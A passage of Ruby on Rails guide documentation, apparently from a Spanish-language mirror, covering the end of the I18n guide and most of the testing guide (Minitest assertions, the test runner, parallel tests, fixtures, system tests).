module I18n class JustRaiseExceptionHandler < ExceptionHandler def call(exception, locale, key, options) if exception.is_a?(MissingTranslation) raise exception.to_exception else super end end end end I18n.exception_handler = I18n::JustRaiseExceptionHandler.new Copiar

This would re-raise only the MissingTranslationData exception, passing all other input to the default exception handler.

However, if you are using I18n::Backend::Pluralization this handler will also raise I18n::MissingTranslationData: translation missing: en.i18n.plural.rule exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use an additional check for the translation key:

if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
raise exception.to_exception
else
super
end

if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule' raise exception.to_exception else super end Copiar

Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context, the helper wraps the message into a span with the CSS class translation_missing.

To do so, the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:

I18n.t :foo, raise: true # always re-raises exceptions from the backend

I18n.t :foo, raise: true # always re-raises exceptions from the backend Copiar

7 Translating Model Content

The I18n API described in this guide is primarily intended for translating interface strings. If you are looking to translate model content (e.g. blog posts), you will need a different solution to help with this.

Several gems can help with this:

- Globalize: Store translations on separate translation tables, one for each translated model

- Mobility: Provides support for storing translations in many formats, including translation tables, json columns (PostgreSQL), etc.

- Traco: Translatable columns stored in the model table itself

8 Conclusion

At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.

9 Contributing to Rails I18n

I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.

Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our mailing list!)

If you find your own locale (language) missing from our example translations data repository for Ruby on Rails, please fork the repository, add your data, and send a pull request.

10 Resources

- Google group: rails-i18n - The project's mailing list.

- GitHub: rails-i18n - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of example translations for Rails that should work for your application in most cases.

- GitHub: i18n - Code repository and issue tracker for the i18n gem.

11 Authors

- Sven Fuchs (initial author)

- Karel Minařík

12 Footnotes

[1] Or, to quote Wikipedia: "Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."

[2] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.

[3] One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.

Testing Rails Applications — Ruby on...

1 Why Write Tests for your Rails Applications?

Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.

By running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.

Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.

2 Introduction to Testing

Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany.

2.1 Rails Sets up for Testing from the Word Go

Rails creates a test directory for you as soon as you create a Rails project using rails new application_name. If you list the contents of this directory then you shall see:

$ ls -F test
application_system_test_case.rb  controllers/                     helpers/                         mailers/                         system/
channels/                        fixtures/                        integration/                     models/                          test_helper.rb

ls -F test Copiar

The helpers, mailers, and models directories are meant to hold tests for view helpers, mailers, and models, respectively. The channels directory is meant to hold tests for Action Cable connection and channels. The controllers directory is meant to hold tests for controllers, routes, and views. The integration directory is meant to hold tests for interactions between controllers.

The system test directory holds system tests, which are used for full browser testing of your application. System tests allow you to test your application the way your users experience it and help you test your JavaScript as well. System tests inherit from Capybara and perform in browser tests for your application.

Fixtures are a way of organizing test data; they reside in the fixtures directory.

A jobs directory will also be created when an associated test is first generated.

The test_helper.rb file holds the default configuration for your tests.

The application_system_test_case.rb holds the default configuration for your system tests.

2.2 The Test Environment

By default, every Rails application has three environments: development, test, and production.

Each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in config/environments/test.rb.

Your tests are run under RAILS_ENV=test.

2.3 Rails meets Minitest

If you remember, we used the bin/rails generate model command in the Getting Started with Rails guide. We created our first model, and among other things it created test stubs in the test directory:

$ bin/rails generate model article title:string body:text
...
create  app/models/article.rb
create  test/models/article_test.rb
create  test/fixtures/articles.yml
...

bin/rails generate model article title:string body:text Copiar

The default test stub in test/models/article_test.rb looks like this:

require "test_helper"

class ArticleTest < ActiveSupport::TestCase
# test "the truth" do
#   assert true
# end
end

require "test_helper" class ArticleTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end Copiar

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

require "test_helper"

require "test_helper" Copiar

By requiring this file, test_helper.rb the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all our tests.

class ArticleTest < ActiveSupport::TestCase

class ArticleTest < ActiveSupport::TestCase Copiar

The ArticleTest class defines a test case because it inherits from ActiveSupport::TestCase. ArticleTest thus has all the methods available from ActiveSupport::TestCase. Later in this guide, we'll see some of the methods it gives us.

Any method defined within a class inherited from Minitest::Test (which is the superclass of ActiveSupport::TestCase) that begins with test_ is simply called a test. So, methods defined as test_password and test_valid_password are legal test names and are run automatically when the test case is run.

Rails also adds a test method that takes a test name and a block. It generates a normal Minitest::Unit test with method names prefixed with test_. So you don't have to worry about naming the methods, and you can write something like:

test "the truth" do
assert true
end

test "the truth" do assert true end Copiar

Which is approximately the same as writing this:

def test_the_truth
assert true
end

def test_the_truth assert true end Copiar

Although you can still use regular method definitions, using the test macro allows for a more readable test name.

The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though — the name may contain punctuation characters, etc. That's because in Ruby technically any string may be a method name. This may require use of define_method and send calls to function properly, but formally there's little restriction on the name.

Next, let's look at our first assertion:

assert true

assert true Copiar

An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

- does this value = that value?

- is this object nil?

- does this line of code throw an exception?

- is the user's password greater than 5 characters?

Every test may contain one or more assertions, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass.

2.3.1 Your first failing test

To see how a test failure is reported, you can add a failing test to the article_test.rb test case.

test "should not save article without title" do
article = Article.new
assert_not article.save
end

test "should not save article without title" do article = Article.new assert_not article.save end Copiar

Let us run this newly added test (where 6 is the number of line where the test is defined).

$ bin/rails test test/models/article_test.rb:6
Run options: --seed 44656

# Running:

F

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
Expected true to be nil or false

rails test test/models/article_test.rb:6

Finished in 0.023918s, 41.8090 runs/s, 41.8090 assertions/s.

1 runs, 1 assertions, 1 failures, 0 errors, 0 skips

bin/rails test test/models/article_test.rb:6 Copiar

In the output, F denotes a failure. You can see the corresponding trace shown under Failure along with the name of the failing test. The next few lines contain the stack trace followed by a message that mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:

test "should not save article without title" do
article = Article.new
assert_not article.save, "Saved the article without a title"
end

test "should not save article without title" do article = Article.new assert_not article.save, "Saved the article without a title" end Copiar

Running this test shows the friendlier assertion message:

Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]:
Saved the article without a title

Failure: ArticleTest#test_should_not_save_article_without_title [/path/to/blog/test/models/article_test.rb:6]: Saved the article without a title Copiar

Now to get this test to pass we can add a model level validation for the title field.

class Article < ApplicationRecord
validates :title, presence: true
end

class Article < ApplicationRecord validates :title, presence: true end Copiar

Now the test should pass. Let us verify by running the test again:

$ bin/rails test test/models/article_test.rb:6
Run options: --seed 31252

# Running:

.

Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

bin/rails test test/models/article_test.rb:6 Copiar

Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as Test-Driven Development (TDD).

2.3.2 What an Error Looks Like

To see how an error gets reported, here's a test containing an error:

test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
some_undefined_variable
assert true
end

test "should report error" do # some_undefined_variable is not defined elsewhere in the test case some_undefined_variable assert true end Copiar

Now you can see even more output in the console from running the tests:

$ bin/rails test test/models/article_test.rb
Run options: --seed 1808

# Running:

.E

Error:
ArticleTest#test_should_report_error:
NameError: undefined local variable or method 'some_undefined_variable' for #<ArticleTest:0x007fee3aa71798>
test/models/article_test.rb:11:in 'block in <class:ArticleTest>'

rails test test/models/article_test.rb:9

Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

bin/rails test test/models/article_test.rb Copiar

Notice the 'E' in the output. It denotes a test with error.

The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in random order. The config.active_support.test_order option can be used to configure test order.

When a test fails you are presented with the corresponding backtrace. By default Rails filters that backtrace and will only print lines relevant to your application. This eliminates the framework noise and helps to focus on your code. However there are situations when you want to see the full backtrace. Set the -b (or --backtrace) argument to enable this behavior:

$ bin/rails test -b test/models/article_test.rb

bin/rails test -b test/models/article_test.rb Copiar

If we want this test to pass we can modify it to use assert_raises like so:

test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
assert_raises(NameError) do
some_undefined_variable
end
end

test "should report error" do # some_undefined_variable is not defined elsewhere in the test case assert_raises(NameError) do some_undefined_variable end end Copiar

This test should now pass.

2.4 Available Assertions

By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

Here's an extract of the assertions you can use with Minitest, the default testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer.

Assertion

Purpose

assert( test, [msg] )

Ensures that test is true.

assert_not( test, [msg] )

Ensures that test is false.

assert_equal( expected, actual, [msg] )

Ensures that expected == actual is true.

assert_not_equal( expected, actual, [msg] )

Ensures that expected != actual is true.

assert_same( expected, actual, [msg] )

Ensures that expected.equal?(actual) is true.

assert_not_same( expected, actual, [msg] )

Ensures that expected.equal?(actual) is false.

assert_nil( obj, [msg] )

Ensures that obj.nil? is true.

assert_not_nil( obj, [msg] )

Ensures that obj.nil? is false.

assert_empty( obj, [msg] )

Ensures that obj is empty?.

assert_not_empty( obj, [msg] )

Ensures that obj is not empty?.

assert_match( regexp, string, [msg] )

Ensures that a string matches the regular expression.

assert_no_match( regexp, string, [msg] )

Ensures that a string doesn't match the regular expression.

assert_includes( collection, obj, [msg] )

Ensures that obj is in collection.

assert_not_includes( collection, obj, [msg] )

Ensures that obj is not in collection.

assert_in_delta( expected, actual, [delta], [msg] )

Ensures that the numbers expected and actual are within delta of each other.

assert_not_in_delta( expected, actual, [delta], [msg] )

Ensures that the numbers expected and actual are not within delta of each other.

assert_in_epsilon ( expected, actual, [epsilon], [msg] )

Ensures that the numbers expected and actual have a relative error less than epsilon.

assert_not_in_epsilon ( expected, actual, [epsilon], [msg] )

Ensures that the numbers expected and actual have a relative error not less than epsilon.

assert_throws( symbol, [msg] ) { block }

Ensures that the given block throws the symbol.

assert_raises( exception1, exception2, ... ) { block }

Ensures that the given block raises one of the given exceptions.

assert_instance_of( class, obj, [msg] )

Ensures that obj is an instance of class.

assert_not_instance_of( class, obj, [msg] )

Ensures that obj is not an instance of class.

assert_kind_of( class, obj, [msg] )

Ensures that obj is an instance of class or is descending from it.

assert_not_kind_of( class, obj, [msg] )

Ensures that obj is not an instance of class and is not descending from it.

assert_respond_to( obj, symbol, [msg] )

Ensures that obj responds to symbol.

assert_not_respond_to( obj, symbol, [msg] )

Ensures that obj does not respond to symbol.

assert_operator( obj1, operator, [obj2], [msg] )

Ensures that obj1.operator(obj2) is true.

assert_not_operator( obj1, operator, [obj2], [msg] )

Ensures that obj1.operator(obj2) is false.

assert_predicate ( obj, predicate, [msg] )

Ensures that obj.predicate is true, e.g. assert_predicate str, :empty?

assert_not_predicate ( obj, predicate, [msg] )

Ensures that obj.predicate is false, e.g. assert_not_predicate str, :empty?

flunk( [msg] )

Ensures failure. This is useful to explicitly mark a test that isn't finished yet.

The above are a subset of assertions that minitest supports. For an exhaustive & more up-to-date list, please check Minitest API documentation, specifically Minitest::Assertions.

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.

Creating your own assertions is an advanced topic that we won't cover in this tutorial.

2.5 Rails Specific Assertions

Rails adds some custom assertions of its own to the minitest framework:

Assertion

Purpose

assert_difference(expressions, difference = 1, message = nil) {...}

Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.

assert_no_difference(expressions, message = nil, &block)

Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.

assert_changes(expressions, message = nil, from:, to:, &block)

Test that the result of evaluating an expression is changed after invoking the passed in block.

assert_no_changes(expressions, message = nil, &block)

Test the result of evaluating an expression is not changed after invoking the passed in block.

assert_nothing_raised { block }

Ensures that the given block doesn't raise any exceptions.

assert_recognizes(expected_options, path, extras={}, message=nil)

Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.

assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)

Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.

assert_response(type, message = nil)

Asserts that the response comes with a specific status code. You can specify :success to indicate 200-299, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see full list of status codes and how their mapping works.

assert_redirected_to(options = {}, message=nil)

Asserts that the response is a redirect to a URL matching the given options. You can also pass named routes such as assert_redirected_to root_path and Active Record objects such as assert_redirected_to @article.

You'll see the usage of some of these assertions in the next chapter.

2.6 A Brief Note About Test Cases

All the basic assertions such as assert_equal defined in Minitest::Assertions are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from:

- ActiveSupport::TestCase

- ActionMailer::TestCase

- ActionView::TestCase

- ActiveJob::TestCase

- ActionDispatch::IntegrationTest

- ActionDispatch::SystemTestCase

- Rails::Generators::TestCase

Each of these classes include Minitest::Assertions, allowing us to use all of the basic assertions in our tests.

For more information on Minitest, refer to its documentation.

2.7 The Rails Test Runner

We can run all of our tests at once by using the bin/rails test command.

Or we can run a single test file by passing the bin/rails test command the filename containing the test cases.

$ bin/rails test test/models/article_test.rb
Run options: --seed 1559

# Running:

..

Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s.

2 runs, 3 assertions, 0 failures, 0 errors, 0 skips

bin/rails test test/models/article_test.rb Copiar

This will run all test methods from the test case.

You can also run a particular test method from the test case by providing the -n or --name flag and the test's method name.

$ bin/rails test test/models/article_test.rb -n test_the_truth
Run options: -n test_the_truth --seed 43583

# Running:

.

Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.

1 tests, 1 assertions, 0 failures, 0 errors, 0 skips

bin/rails test test/models/article_test.rb -n test_the_truth Copiar

You can also run a test at a specific line by providing the line number.

$ bin/rails test test/models/article_test.rb:6 # run specific test and line

bin/rails test test/models/article_test.rb:6 # run specific test and line Copiar

You can also run an entire directory of tests by providing the path to the directory.

$ bin/rails test test/controllers # run all tests from specific directory

bin/rails test test/controllers # run all tests from specific directory Copiar

The test runner also provides a lot of other features like failing fast, deferring test output at the end of the test run and so on. Check the documentation of the test runner as follows:

$ bin/rails test -h
Usage: rails test [options] [files or directories]

You can run a single test by appending a line number to a filename:

bin/rails test test/models/user_test.rb:27

You can run multiple files and directories at the same time:

bin/rails test test/controllers test/integration/login_test.rb

By default test failures and errors are reported inline during a run.

minitest options:
-h, --help                       Display this help.
--no-plugins                 Bypass minitest plugin auto-loading (or set $MT_NO_PLUGINS).
-s, --seed SEED                  Sets random seed. Also via env. Eg: SEED=n rake
-v, --verbose                    Verbose. Show progress processing files.
-n, --name PATTERN               Filter run on /regexp/ or string.
--exclude PATTERN            Exclude /regexp/ or string from run.

Known extensions: rails, pride
-w, --warnings                   Run with Ruby warnings enabled
-e, --environment ENV            Run tests in the ENV environment
-b, --backtrace                  Show the complete backtrace
-d, --defer-output               Output test failures and errors after the test run
-f, --fail-fast                  Abort test run on first failure or error
-c, --[no-]color                 Enable color in the output
-p, --pride                      Pride. Show your testing pride!

bin/rails test -h Copiar

3 Parallel Testing

Parallel testing allows you to parallelize your test suite. While forking processes is the default method, threading is supported as well. Running tests in parallel reduces the time it takes your entire test suite to run.

3.1 Parallel Testing with Processes

The default parallelization method is to fork processes using Ruby's DRb system. The processes are forked based on the number of workers provided. The default number is the actual core count on the machine you are on, but can be changed by the number passed to the parallelize method.

To enable parallelization add the following to your test_helper.rb:

class ActiveSupport::TestCase
parallelize(workers: 2)
end

class ActiveSupport::TestCase parallelize(workers: 2) end Copiar

The number of workers passed is the number of times the process will be forked. You may want to parallelize your local test suite differently from your CI, so an environment variable is provided to be able to easily change the number of workers a test run should use:

$ PARALLEL_WORKERS=15 bin/rails test

PARALLEL_WORKERS=15 bin/rails test Copiar

When parallelizing tests, Active Record automatically handles creating a database and loading the schema into the database for each process. The databases will be suffixed with the number corresponding to the worker. For example, if you have 2 workers the tests will create test-database-0 and test-database-1 respectively.

If the number of workers passed is 1 or fewer the processes will not be forked and the tests will not be parallelized and the tests will use the original test-database database.

Two hooks are provided, one runs when the process is forked, and one runs before the forked process is closed. These can be useful if your app uses multiple databases or perform other tasks that depend on the number of workers.

The parallelize_setup method is called right after the processes are forked. The parallelize_teardown method is called right before the processes are closed.

class ActiveSupport::TestCase
parallelize_setup do |worker|
# setup databases
end

parallelize_teardown do |worker|
# cleanup databases
end

parallelize(workers: :number_of_processors)
end

class ActiveSupport::TestCase parallelize_setup do |worker| # setup databases end parallelize_teardown do |worker| # cleanup databases end parallelize(workers: :number_of_processors) end Copiar

These methods are not needed or available when using parallel testing with threads.

3.2 Parallel Testing with Threads

If you prefer using threads or are using JRuby, a threaded parallelization option is provided. The threaded parallelizer is backed by Minitest's Parallel::Executor.

To change the parallelization method to use threads over forks put the following in your test_helper.rb

class ActiveSupport::TestCase
parallelize(workers: :number_of_processors, with: :threads)
end

class ActiveSupport::TestCase parallelize(workers: :number_of_processors, with: :threads) end Copiar

Rails applications generated from JRuby or TruffleRuby will automatically include the with: :threads option.

The number of workers passed to parallelize determines the number of threads the tests will use. You may want to parallelize your local test suite differently from your CI, so an environment variable is provided to be able to easily change the number of workers a test run should use:

$ PARALLEL_WORKERS=15 bin/rails test

PARALLEL_WORKERS=15 bin/rails test Copiar

3.3 Testing Parallel Transactions

Rails automatically wraps any test case in a database transaction that is rolled back after the test completes. This makes test cases independent of each other and changes to the database are only visible within a single test.

When you want to test code that runs parallel transactions in threads, transactions can block each other because they are already nested under the test transaction.

You can disable transactions in a test case class by setting self.use_transactional_tests = false:

class WorkerTest < ActiveSupport::TestCase
self.use_transactional_tests = false

test "parallel transactions" do
# start some threads that create transactions
end
end

class WorkerTest < ActiveSupport::TestCase self.use_transactional_tests = false test "parallel transactions" do # start some threads that create transactions end end Copiar

With disabled transactional tests, you have to clean up any data tests create as changes are not automatically rolled back after the test completes.

4 The Test Database

Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.

By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in config/database.yml.

A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases.

4.1 Maintaining the test database schema

In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. It will try to load your db/schema.rb or db/structure.sql into the test database. If migrations are still pending, an error will be raised. Usually this indicates that your schema is not fully migrated. Running the migrations against the development database (bin/rails db:migrate) will bring the schema up to date.

If there were modifications to existing migrations, the test database needs to be rebuilt. This can be done by executing bin/rails db:test:prepare.

4.2 The Low-Down on Fixtures

For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. You can find comprehensive documentation in the Fixtures API documentation.

4.2.1 What are Fixtures?

Fixtures is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model.

Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case.

You'll find fixtures under your test/fixtures directory. When you run bin/rails generate model to create a new model, Rails automatically creates fixture stubs in this directory.

4.2.2 YAML

YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the .yml file extension (as in users.yml).

Here's a sample YAML fixture file:

# lo & behold! I am a YAML comment!
david:
name: David Heinemeier Hansson
birthday: 1979-10-15
profession: Systems development

steve:
name: Steve Ross Kellock
birthday: 1974-09-27
profession: guy with keyboard

# lo & behold! I am a YAML comment! david: name: David Heinemeier Hansson birthday: 1979-10-15 profession: Systems development steve: name: Steve Ross Kellock birthday: 1974-09-27 profession: guy with keyboard Copiar

Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column.

If you are working with associations, you can define a reference node between two different fixtures. Here's an example with a belongs_to/has_many association:

# fixtures/categories.yml
about:
name: About

# fixtures/categories.yml about: name: About Copiar

# fixtures/articles.yml
first:
title: Welcome to Rails!
body: Hello world!
category: about

# fixtures/articles.yml first: title: Welcome to Rails! body: Hello world! category: about Copiar

Notice the category key of the first article found in fixtures/articles.yml has a value of about. This tells Rails to load the category about found in fixtures/categories.yml.

For associations to reference one another by name, you can use the fixture name instead of specifying the id: attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the Fixtures API documentation.

4.2.3 ERB'in It Up

ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:

<% 1000.times do |n| %>
user_<%= n %>:
username: <%= "user#{n}" %>
email: <%= "user#{n}@example.com" %>
<% end %>

<% 1000.times do |n| %> user_<%= n %>: username: <%= "user#{n}" %> email: <%= "user#{n}@example.com" %> <% end %> Copiar

4.2.4 Fixtures in Action

Rails automatically loads all fixtures from the test/fixtures directory by default. Loading involves three steps:

1. Remove any existing data from the table corresponding to the fixture

2. Load the fixture data into the table

3. Dump the fixture data into a method in case you want to access it directly

In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions here).

4.2.5 Fixtures are Active Record objects

Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example:

# this will return the User object for the fixture named david
users(:david)

# this will return the property for david called id
users(:david).id

# one can also access methods available on the User class
david = users(:david)
david.call(david.partner)

# this will return the User object for the fixture named david users(:david) # this will return the property for david called id users(:david).id # one can also access methods available on the User class david = users(:david) david.call(david.partner) Copiar

To get multiple fixtures at once, you can pass in a list of fixture names. For example:

# this will return an array containing the fixtures david and steve
users(:david, :steve)

# this will return an array containing the fixtures david and steve users(:david, :steve) Copiar

5 Model Testing

Model tests are used to test the various models of your application.

Rails model tests are stored under the test/models directory. Rails provides a generator to create a model test skeleton for you.

$ bin/rails generate test_unit:model article title:string body:text
create  test/models/article_test.rb
create  test/fixtures/articles.yml

bin/rails generate test_unit:model article title:string body:text Copiar

Model tests don't have their own superclass like ActionMailer::TestCase. Instead, they inherit from ActiveSupport::TestCase.

6 System Testing

System tests allow you to test user interactions with your application, running tests in either a real or a headless browser. System tests use Capybara under the hood.

For creating Rails system tests, you use the test/system directory in your application. Rails provides a generator to create a system test skeleton for you.

$ bin/rails generate system_test users
invoke test_unit
create test/system/users_test.rb

bin/rails generate system_test users Copiar

Here's what a freshly generated system test looks like:

require "application_system_test_case"

class UsersTest < ApplicationSystemTestCase
# test "visiting the index" do
#   visit users_url
#
#   assert_selector "h1", text: "Users"
# end
end

require "application_system_test_case" class UsersTest < ApplicationSystemTestCase # test "visiting the index" do # visit users_url # # assert_selector "h1", text: "Users" # end end Copiar

By default, system tests are run with the Selenium driver, using the Chrome browser, and a screen size of 1400x1400. The next section explains how to change the default settings.

6.1 Changing the default settings

Rails makes changing the default settings for system tests very simple. All the setup is abstracted away so you can focus on writing your tests.

When you generate a new application or scaffold, an application_system_test_case.rb file is created in the test directory. This is where all the configuration for your system tests should live.

If you want to change the default settings you can change what the system tests are "driven by". Say you want to change the driver from Selenium to Poltergeist. First add the poltergeist gem to your Gemfile. Then in your application_system_test_case.rb file do the following:

require "test_helper"
require "capybara/poltergeist"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
driven_by :poltergeist
end

require "test_helper" require "capybara/poltergeist" class ApplicationSystemTestCase < ActionDispatch::SystemTestCase driven_by :poltergeist end Copiar

The driver name is a required argument for driven_by. The optional arguments that can be passed to driven_by are :using for the browser (this will only be used by Selenium), :screen_size to change the size of the screen for screenshots, and :options which can be used to set options supported by the driver.

require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
driven_by :selenium, using: :firefox
end

require "test_helper" class ApplicationSystemTestCase < ActionDispatch::SystemTestCase driven_by :selenium, using: :firefox end Copiar

If you want to use a headless browser, you could use Headless Chrome or Headless Firefox by adding headless_chrome or headless_firefox in the :using argument.

require "test_helper"

class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
driven_by :selenium, using: :headless_chrome
end

require "test_helper" class ApplicationSystemTestCase < ActionDispatch::SystemTestCase driven_by :selenium, using: :headless_chrome end Copiar

If your Capybara configuration requires more setup than provided by Rails, this additional configuration could be added into the application_system_test_case.rb file.

Please see Capybara's documentation for additional settings.

6.2 Screenshot Helper

The ScreenshotHelper is a helper designed to capture screenshots of your tests. This can be helpful for viewing the browser at the point a test failed, or to view screenshots later for debugging.

Two methods are provided: take_screenshot and take_failed_screenshot. take_failed_screenshot is automatically included in before_teardown inside Rails.

The take_screenshot helper method can be included anywhere in your tests to take a screenshot of the browser.

6.3 Implementing a System Test

Now we're going to add a system test to our blog application. We'll demonstrate writing a system test by visiting the index page and creating a new blog article.

If you used the scaffold generator, a system test skeleton was automatically created for you. If you didn't use the scaffold generator, start by creating a system test skeleton.

$ bin/rails generate system_test articles

bin/rails generate system_test articles Copiar

It should have created a test file placeholder for us. With the output of the previous command you should see:

invoke  test_unit
create    test/system/articles_test.rb

invoke test_unit create test/system/articles_test.rb Copiar

Now let's open that file and write our first assertion:

require "application_system_test_case"

class ArticlesTest < ApplicationSystemTestCase
test "viewing the index" do
visit articles_path
assert_selector "h1", text: "Articles"
end
end

require "application_system_test_case" class ArticlesTest < ApplicationSystemTestCase test "viewing the index" do visit articles_path assert_selector "h1", text: "Articles" end end Copiar

The test should see that there is an h1 on the articles index page and pass.

Run the system tests.

$ bin/rails test:system

bin/rails test:system Copiar

By default, running bin/rails test won't run your system tests. Make sure to run bin/rails test:system to actually run them. You can also run bin/rails test:all to run all tests, including system tests.

6.3.1 Creating Articles System Test

Now let's test the flow for creating a new article in our blog.

test "creating an article" do
visit articles_path

click_on "New Article"

fill_in "Title", with: "Creating an Article"
fill_in "Body", with: "Created this article successfully!"

click_on "Create Article"

assert_text "Creating an Article"
end

test "creating an article" do visit articles_path click_on "New Article" fill_in "Title", with: "Creating an Article" fill_in "Body", with: "Created this article successfully!" click_on "Create Article" assert_text "Creating an Article" end Copiar

The first step is to call visit articles_path. This will take the test to the articles index page.

Then the click_on "New Article" will find the "New Article" button on the index page. This will redirect the browser to /articles/new.

Then the test will fill in the title and body of the article with the specified text. Once the fields are filled in, "Create Article" is clicked on which will send a POST request to create the new article in the database.

We will be redirected back to the articles index page and there we assert that the text from the new article's title is on the articles index page.

6.3.2 Testing for multiple screen sizes

If you want to test for mobile sizes on top of testing for desktop, you can create another class that inherits from SystemTestCase and use in your test suite. In this example a file called mobile_system_test_case.rb is created in the /test directory with the following configuration.

require "test_helper"

class MobileSystemTestCase < ActionDispatch::SystemTestCase
driven_by :selenium, using: :chrome, screen_size: [375, 667]
end

require "test_helper" class MobileSystemTestCase < ActionDispatch::SystemTestCase driven_by :selenium, using: :chrome, screen_size: [375, 667] end Copiar

To use this configuration, create a test inside test/system that inherits from MobileSystemTestCase. Now you can test your app using multiple different configurations.

require "mobile_system_test_case"

class PostsTest < MobileSystemTestCase

test "visiting the index" do
visit posts_url
assert_selector "h1", text: "Posts"
end
end

require "mobile_system_test_case" class PostsTest < MobileSystemTestCase test "visiting the index" do visit posts_url assert_selector "h1", text: "Posts" end end Copiar

6.3.3 Taking it further

The beauty of system testing is that it is similar to integration testing in that it tests the user's interaction with your controller, model, and view, but system testing is much more robust and actually tests your application as if a real user were using it. Going forward, you can test anything that the user themselves would do in your application such as commenting, deleting articles, publishing draft articles, etc.

7 Integration Testing

Integration tests are used to test how various parts of our application interact. They are generally used to test important workflows within our application.

For creating Rails integration tests, we use the test/integration directory for our application. Rails provides a generator to create an integration test skeleton for us.

$ bin/rails generate integration_test user_flows
exists  test/integration/
create  test/integration/user_flows_test.rb

bin/rails generate integration_test user_flows Copiar

Here's what a freshly generated integration test looks like:

require "test_helper"

class UserFlowsTest < ActionDispatch::IntegrationTest
# test "the truth" do
#   assert true
# end
end

require "test_helper" class UserFlowsTest < ActionDispatch::IntegrationTest # test "the truth" do # assert true # end end Copiar

